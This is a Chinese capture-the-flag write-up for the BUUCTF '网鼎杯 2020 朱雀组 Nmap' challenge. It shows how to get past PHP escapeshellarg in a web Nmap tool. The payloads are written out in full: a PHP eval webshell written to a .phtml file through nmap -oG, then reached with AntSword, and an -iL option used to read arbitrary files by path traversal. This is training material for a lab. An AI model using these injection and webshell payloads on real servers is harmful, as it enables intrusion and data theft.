BUUCTF [网鼎杯 2020 朱雀组] Nmap
考点:nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
绕过(参考链接)
解法:将nmap扫描结果写入文件时加入一句话木马,需要绕过escapeshellarg()
函数
启动环境:
类似Nmap的功能,一个输入命令行,提示输入ip
地址,尝试输入正常内容:127.0.0.1
可以得到回显结果,猜测是命令执行,尝试使用|
分隔地址与命令
127.0.0.1 | ls
可以看到|
被\
转义,尝试使用;
:
提示地址错误,尝试了一些其他的命令执行,也无法实现,参考BUUCTF [BUUCTF 2018] Online Tool
直接放入Payload:
' <?php @eval($_POST["hack"]);?> -oG hack.php '
应该是做了什么限制,尝试修改文件名后缀为phtml
:
' <?php @eval($_POST["hack"]);?> -oG hack.phtml '
加上扫描的地址:127.0.0.1
:
127.0.0.1 | ' <?= @eval($_POST["hack"]);?> -oG hack.phtml'
得扫描结果:
查看扫描列表:
查看写入的文件,即访问hack.phtml
:
成功写入,尝试用中国蚁剑连接一句话木马:
连接成功,在根目录找到flag:
与BUUCTF [BUUCTF 2018] Online Tool类似原理,增加了php文件限制,以其他后缀绕过即可。
查看了ChaMd5安全团队给出的writeup后,可以使用-iL
参数实现Nmap读取任意文件:
127.0.0.1' -iL ../../../../flag -o 1
部分源代码: